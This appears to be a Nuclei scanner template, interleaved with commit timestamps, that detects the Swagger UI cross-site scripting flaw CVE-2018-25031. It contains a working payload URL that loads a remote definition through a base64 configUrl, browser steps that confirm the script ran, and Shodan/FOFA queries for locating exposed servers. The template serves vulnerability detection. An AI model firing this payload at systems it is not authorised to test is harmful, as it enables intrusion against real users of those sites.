2023-11-23 06:42:02 +00:00
id : CVE-2018-25031
info :
name : Swagger UI < 3.38.0 - Cross-Site Scripting
author : DhiyaneshDK
severity : medium
description : |
Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.
remediation : |
Update to the latest version of the Swagger UI (^4.13.0 or higher) to mitigate the vulnerability.
reference :
- https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
- https://nvd.nist.gov/vuln/detail/CVE-2018-25031
- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
- https://nvd.nist.gov/vuln/detail/CVE-2022-3506
2023-12-12 11:07:52 +00:00
- https://github.com/swagger-api/swagger-ui/issues/4872
2023-11-23 06:42:02 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
cvss-score : 4.3
cve-id : CVE-2018-25031
cwe-id : CWE-20
2023-12-12 11:07:52 +00:00
epss-score : 0.00265
2024-03-23 09:28:19 +00:00
epss-percentile : 0.65516
2023-11-23 06:42:02 +00:00
cpe : cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
metadata :
verified : true
2023-12-12 11:07:52 +00:00
max-request : 1
2023-11-23 06:42:02 +00:00
vendor : smartbear
product : swagger_ui
2024-06-07 10:04:29 +00:00
shodan-query :
- http.component:"Swagger"
- http.component:"swagger"
- http.favicon.hash:"-1180440057"
2023-12-12 11:07:52 +00:00
fofa-query : icon_hash="-1180440057"
2024-01-14 09:21:50 +00:00
tags : headless,cve,cve2018,swagger,xss,smartbear
2023-11-23 06:42:02 +00:00
headless :
- steps :
- args :
2023-11-23 09:08:09 +00:00
url : '{{BaseURL}}/index.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Byb2plY3RkaXNjb3ZlcnkvbnVjbGVpLXRlbXBsYXRlcy9tYWluL2hlbHBlcnMvcGF5bG9hZHMvc3dhZ2dlci1wYXlsb2FkIgp9'
2023-11-23 06:42:02 +00:00
action : navigate
- action : waitload
- action : script
args :
code : |
() => {
window.originalAlert = window.alert;
window.alert = function(message) {
window.alertTriggered = true
}
}
- action : sleep
- action : script
name : alerts
args :
code : |
() => {
return window.alertTriggered
}
2023-12-05 04:19:22 +00:00
matchers-condition : and
2023-11-23 06:42:02 +00:00
matchers :
- type : word
part : alerts
words :
- "true"
2023-12-05 04:19:22 +00:00
- type : word
part : body
words :
- "swagger"
case-insensitive : true
2024-06-08 16:02:17 +00:00
# digest: 4a0a0047304502206b620185825b2c7dd85b7d2fb9e5863acfd2c2b606b86934fc08cbc8fc997be3022100d10e8cd09cbe237f829b10d1e0a5226cf9e34a7a2c007f3e53029cae7f920b52:922c64590222798bb761d5b6d8e72950